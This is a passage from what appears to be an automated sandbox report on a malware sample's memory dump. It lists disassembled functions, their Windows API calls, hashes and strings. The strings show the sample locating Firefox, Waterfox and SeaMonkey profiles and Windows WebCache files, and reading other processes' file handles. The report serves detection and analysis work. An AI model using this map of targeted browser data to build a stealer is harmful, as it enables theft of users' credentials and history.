                      • Instruction Fuzzy Hash: 5E11C636C00225BBD7116BE2DC09AAFBA78FF85755F010476F81072292DB794D018BED
                      Function 00403C9C Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • memset.MSVCRT ref: 00403CBF
                      • memset.MSVCRT ref: 00403CD4
                      • memset.MSVCRT ref: 00403CE9
                      • memset.MSVCRT ref: 00403CFE
                      • memset.MSVCRT ref: 00403D13
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                        • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                        • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                        • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                      • memset.MSVCRT ref: 00403DDA
                        • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                        • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                      • String ID: Waterfox$Waterfox\Profiles
                      • API String ID: 4039892925-11920434
                      • Opcode ID: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                      • Instruction ID: d72014143a293005b417e5222852f61d3cfc405123c5957a7e6d01a12b636873
                      • Opcode Fuzzy Hash: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                      • Instruction Fuzzy Hash: 1E4133B294012C7ADB20EB56DC85ECF777CEF85314F1180ABB509B2181DA745B948FAA
                      Function 00403E2D Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • memset.MSVCRT ref: 00403E50
                      • memset.MSVCRT ref: 00403E65
                      • memset.MSVCRT ref: 00403E7A
                      • memset.MSVCRT ref: 00403E8F
                      • memset.MSVCRT ref: 00403EA4
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                        • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                        • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                        • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                      • memset.MSVCRT ref: 00403F6B
                        • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                        • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                      • String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
                      • API String ID: 4039892925-2068335096
                      • Opcode ID: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                      • Instruction ID: badb9319ce56d3a3e0b5d4601891faab39f88fc9b3936f94b46873e2979bc7df
                      • Opcode Fuzzy Hash: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                      • Instruction Fuzzy Hash: F94133B294012CBADB20EB56DC85FCF777CAF85314F1180A7B509F2181DA785B848F6A
                      Function 00403FBE Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00403FE1
                      • memset.MSVCRT ref: 00403FF6
                      • memset.MSVCRT ref: 0040400B
                      • memset.MSVCRT ref: 00404020
                      • memset.MSVCRT ref: 00404035
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                        • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                        • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                        • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                      • memset.MSVCRT ref: 004040FC
                        • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                        • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                      • String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
                      • API String ID: 4039892925-3369679110
                      • Opcode ID: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                      • Instruction ID: a33c26704871042caa7cb74448a1974e70df039046fe21947f04a6d8cbe9f93a
                      • Opcode Fuzzy Hash: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                      • Instruction Fuzzy Hash: 354134B294012CBADB20EB56DC85ECF777CAF85314F1180A7B509B3181EA745B948F6A
                      Function 00444432 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 217COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy
                      • String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
                      • API String ID: 3510742995-2641926074
                      • Opcode ID: 94510af7901ecd36673df76512f8cc8f4b4749faf5a93beda853377b65ea3140
                      • Instruction ID: 565814064bb2237b40e40c3ad6633df45ffc5137317807aec9a32ad89077b3bf
                      • Opcode Fuzzy Hash: 94510af7901ecd36673df76512f8cc8f4b4749faf5a93beda853377b65ea3140
                      • Instruction Fuzzy Hash: BA7119B1600701BFE710AF16CC81B66B7A8BB85319F11452FF4189B742D7BDED908B99
                      Function 0041837F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(?,-7FBE829D,00000003,00000000,?,?,00000000), ref: 00418457
                      • GetLastError.KERNEL32 ref: 0041847E
                      • ??3@YAXPAX@Z.MSVCRT ref: 0041848B
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@CreateErrorFileLast
                      • String ID: |A
                      • API String ID: 4200628931-1717621600
                      • Opcode ID: b6fac9d43bc75127802d1a393ff5c3575377eb3b1acc0c55043375108e40dc75
                      • Instruction ID: 73005d91fce95ddd83c4435d1527c7398ec28b7193468e33704956b81d718a95
                      • Opcode Fuzzy Hash: b6fac9d43bc75127802d1a393ff5c3575377eb3b1acc0c55043375108e40dc75
                      • Instruction Fuzzy Hash: 50412472508306AFD710CF25DC4179BBBE5FF84328F14492EF8A492290EB78D9448B96
                      Function 004032B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B633: ??3@YAXPAX@Z.MSVCRT ref: 0040B63A
                        • Part of subcall function 0044553B: memset.MSVCRT ref: 004455C2
                        • Part of subcall function 0044553B: wcsrchr.MSVCRT ref: 004455DA
                      • memset.MSVCRT ref: 004033B7
                      • memcpy.MSVCRT ref: 004033D0
                      • wcscmp.MSVCRT ref: 004033FC
                      • _wcsicmp.MSVCRT ref: 00403439
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$??3@_wcsicmpmemcpywcscmpwcsrchr
                      • String ID: $0.@
                      • API String ID: 3030842498-1896041820
                      • Opcode ID: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                      • Instruction ID: ab192eb15c9642abc1a13bae453f9d52c7669558764b377fc560e22e349fc473
                      • Opcode Fuzzy Hash: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                      • Instruction Fuzzy Hash: 6B414A71A0C3819BD770EF65C885A8BB7E8AF86314F004D2FE48C97681DB3899458B5B
                      Function 00403BED Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00403C09
                      • memset.MSVCRT ref: 00403C1E
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00409719: wcslen.MSVCRT ref: 0040971A
                        • Part of subcall function 00409719: wcscat.MSVCRT ref: 00409732
                      • wcscat.MSVCRT ref: 00403C47
                        • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                        • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                        • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                      • wcscat.MSVCRT ref: 00403C70
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memsetwcscat$CloseFolderPathSpecialwcscpywcslen
                      • String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
                      • API String ID: 1534475566-1174173950
                      • Opcode ID: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                      • Instruction ID: 5219a381a5be6f9fff484f4b9c8ff18b49dc44b18064e24db21ac924a7a96902
                      • Opcode Fuzzy Hash: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                      • Instruction Fuzzy Hash: 4401A9B294032C76DB207B669C86ECF672C9F45358F01447FB504B7182D9785E844AA9
                      Function 0040A804 Relevance: 9.0, APIs: 6, Instructions: 40libraryCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                      • String ID:
                      • API String ID: 669240632-0
                      • Opcode ID: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                      • Instruction ID: 21688b76284891f368be2c5f4feed5723597baa153f24eadc702144372ba9d0b
                      • Opcode Fuzzy Hash: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                      • Instruction Fuzzy Hash: A6F0A472D0022467DF207B65AC46B8A3B6CBF01754F008072F908B71D2EB789A55CFDA
                      Function 00414C2E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77registryCOMMON
                      Download Yara Rule
                      APIs
                      • SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                      • memset.MSVCRT ref: 00414C87
                      • RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                      • wcscpy.MSVCRT ref: 00414CFC
                        • Part of subcall function 00409CEA: GetVersionExW.KERNEL32(0045D340,0000001A,00414C4F,?,00000000), ref: 00409D04
                      Strings
                      • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00414CA2, 00414CB2
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CloseFolderPathSpecialVersionmemsetwcscpy
                      • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                      • API String ID: 2925649097-2036018995
                      • Opcode ID: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                      • Instruction ID: cfba8ba70a3d5c5eb0df7add68d4968905301debfffe1ddd107e81ced3c7690c
                      • Opcode Fuzzy Hash: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                      • Instruction Fuzzy Hash: EE110B31802224ABDB24A7999C4E9EF736CDBD1315F2200A7F80562151F6685EC5C6DE
                      Function 0041443E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                      Download Yara Rule
                      APIs
                      • wcschr.MSVCRT ref: 00414458
                      • _snwprintf.MSVCRT ref: 0041447D
                      • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0041449B
                      • GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 004144B3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PrivateProfileString$Write_snwprintfwcschr
                      • String ID: "%s"
                      • API String ID: 1343145685-3297466227
                      • Opcode ID: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                      • Instruction ID: 05c1b6e2b8d8aed92df8b5d38884bf02313f678dea9e3ece4dcd1a0b753c0483
                      • Opcode Fuzzy Hash: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                      • Instruction Fuzzy Hash: 7201AD3240421ABBEF219F81DC09FDB3F6AFF09305F14806ABA08501A1D339C5A5EB58
                      Function 004087B3 Relevance: 7.7, APIs: 6, Instructions: 190COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004087D6
                        • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                        • Part of subcall function 004095D9: memset.MSVCRT ref: 004095FC
                      • memset.MSVCRT ref: 00408828
                      • memset.MSVCRT ref: 00408840
                      • memset.MSVCRT ref: 00408858
                      • memset.MSVCRT ref: 00408870
                      • memset.MSVCRT ref: 00408888
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcslen$AttributesByteCharFileMultiWidewcscatwcscpy
                      • String ID:
                      • API String ID: 2911713577-0
                      • Opcode ID: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                      • Instruction ID: a7e5ca25de4111a2a05fe91eb9e7b9268c7acadad77a1a504b595fc773a76dc1
                      • Opcode Fuzzy Hash: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                      • Instruction Fuzzy Hash: BD5146B280011D7EEB50E751DC46EEF776CDF05318F0040BEB948B6182EA745F948BA9
                      Function 0041F1A5 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcmp
                      • String ID: @ $SQLite format 3
                      • API String ID: 1475443563-3708268960
                      • Opcode ID: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                      • Instruction ID: a5e199d7c3355b23248e204991ed7883f9cb1cefd3641e4a8180bf992d12f390
                      • Opcode Fuzzy Hash: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                      • Instruction Fuzzy Hash: 9051C1719002199BDF10DFA9C4817DEB7F4AF44314F1541AAEC14EB246E778EA8ACB88
                      Function 004110DC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmpqsort
                      • String ID: /nosort$/sort
                      • API String ID: 1579243037-1578091866
                      • Opcode ID: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                      • Instruction ID: 59a4a6edbc2c6816dd96362f3638b70d105e8990563e463c72bda517b6347aa4
                      • Opcode Fuzzy Hash: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                      • Instruction Fuzzy Hash: C8213770700201AFD714FB36C880E96F3AAFF58314F11012EE61897692DB39BC918B4A
                      Function 00413CA4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(kernel32.dll,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CB5
                      • GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CF2
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModuleProcessTimes
                      • String ID: GetProcessTimes$kernel32.dll
                      • API String ID: 116129598-3385500049
                      • Opcode ID: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                      • Instruction ID: 0a9fc9a7fb2a98cd878f934f387e3824ef844cc6c25aa3dbb33b58617c33e237
                      • Opcode Fuzzy Hash: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                      • Instruction Fuzzy Hash: F5F03036204309AFEF008FA6FD06B963BA8BB04742F044066FA0CD1561D7B5D6B0EF99
                      Function 0040E5ED Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040E60F
                      • memset.MSVCRT ref: 0040E629
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      Strings
                      • Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 0040E647
                      • Microsoft\Windows\WebCache\WebCacheV24.dat, xrefs: 0040E66F
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memsetwcslen$AttributesFileFolderPathSpecialwcscatwcscpy
                      • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
                      • API String ID: 2887208581-2114579845
                      • Opcode ID: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                      • Instruction ID: 2f29c334d396001d9fe1cebc89c879271eb53039ccc8e03d5a3365d75131e7c5
                      • Opcode Fuzzy Hash: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                      • Instruction Fuzzy Hash: 66118AB3D4012C66EB10E755EC85FDB73ACAF14319F1408B7B904F11C2E6B89F984998
                      Function 004148B6 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                      Download Yara Rule
                      APIs
                      • FindResourceW.KERNEL32(?,?,?), ref: 004148C3
                      • SizeofResource.KERNEL32(?,00000000), ref: 004148D4
                      • LoadResource.KERNEL32(?,00000000), ref: 004148E4
                      • LockResource.KERNEL32(00000000), ref: 004148EF
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Resource$FindLoadLockSizeof
                      • String ID:
                      • API String ID: 3473537107-0
                      • Opcode ID: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                      • Instruction ID: 8a72e2f5d7590eb6bb033c3ed88c96ec9d5eb8bcd973c23d1c6560583cb0a60d
                      • Opcode Fuzzy Hash: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                      • Instruction Fuzzy Hash: 0101D2727402156B8B294FB6DD4999BBFAEFFC6391308803AF809D6331DA31C851C688
                      Function 0044DEF7 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                      • Instruction ID: aa45652f999bbb0892b85dcd7393972dd4dfe4e89c7b59a5f1a68188070d07e1
                      • Opcode Fuzzy Hash: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                      • Instruction Fuzzy Hash: 5EE08C60F0830052BA31EBBABD40E2723EC5E1AB4271A842FB905C3282CE2CC880C02D
                      Function 0043A9F6 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 979COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • only a single result allowed for a SELECT that is part of an expression, xrefs: 0043AAD3
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset
                      • String ID: only a single result allowed for a SELECT that is part of an expression
                      • API String ID: 2221118986-1725073988
                      • Opcode ID: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                      • Instruction ID: 0c5fbdb45af1b87466ede92b40025f4dfba1e1eb7e0419b48c64bc8603b8f36f
                      • Opcode Fuzzy Hash: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                      • Instruction Fuzzy Hash: 5D827A71608340AFD720DF15C881B1BBBE1FF88318F14491EFA9987262D779E954CB96
                      Function 00444B06 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 108COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcmp
                      • String ID: $$8
                      • API String ID: 1475443563-435121686
                      • Opcode ID: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                      • Instruction ID: 2c4e4273d6b09173b98ec99ba1a72f96ebc6587eba5c15334d9e54441f883a66
                      • Opcode Fuzzy Hash: e80885fdbb6a557c0c44277052daa68a3f3074bd67b4db13da85d3ecc8de475b
                      • Instruction Fuzzy Hash: 04314171A00209ABEB10DFA6CDC1BAEB7B9FF88314F11055AE515A3241D778ED048B69
                      Function 0040E4B2 Relevance: 4.6, APIs: 3, Instructions: 87fileCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040E01E: OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                        • Part of subcall function 0040E01E: GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                        • Part of subcall function 0040E01E: DuplicateHandle.KERNEL32(?,00000104,00000000), ref: 0040E0BF
                        • Part of subcall function 0040E01E: GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                        • Part of subcall function 0040E01E: CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                        • Part of subcall function 0040E01E: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                        • Part of subcall function 0040E01E: WriteFile.KERNEL32(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                        • Part of subcall function 0040E01E: UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                        • Part of subcall function 0040E01E: CloseHandle.KERNEL32(?), ref: 0040E13E
                      • CloseHandle.KERNEL32(000000FF), ref: 0040E582
                        • Part of subcall function 0040E2AB: memset.MSVCRT ref: 0040E380
                        • Part of subcall function 0040E2AB: wcschr.MSVCRT ref: 0040E3B8
                        • Part of subcall function 0040E2AB: memcpy.MSVCRT ref: 0040E3EC
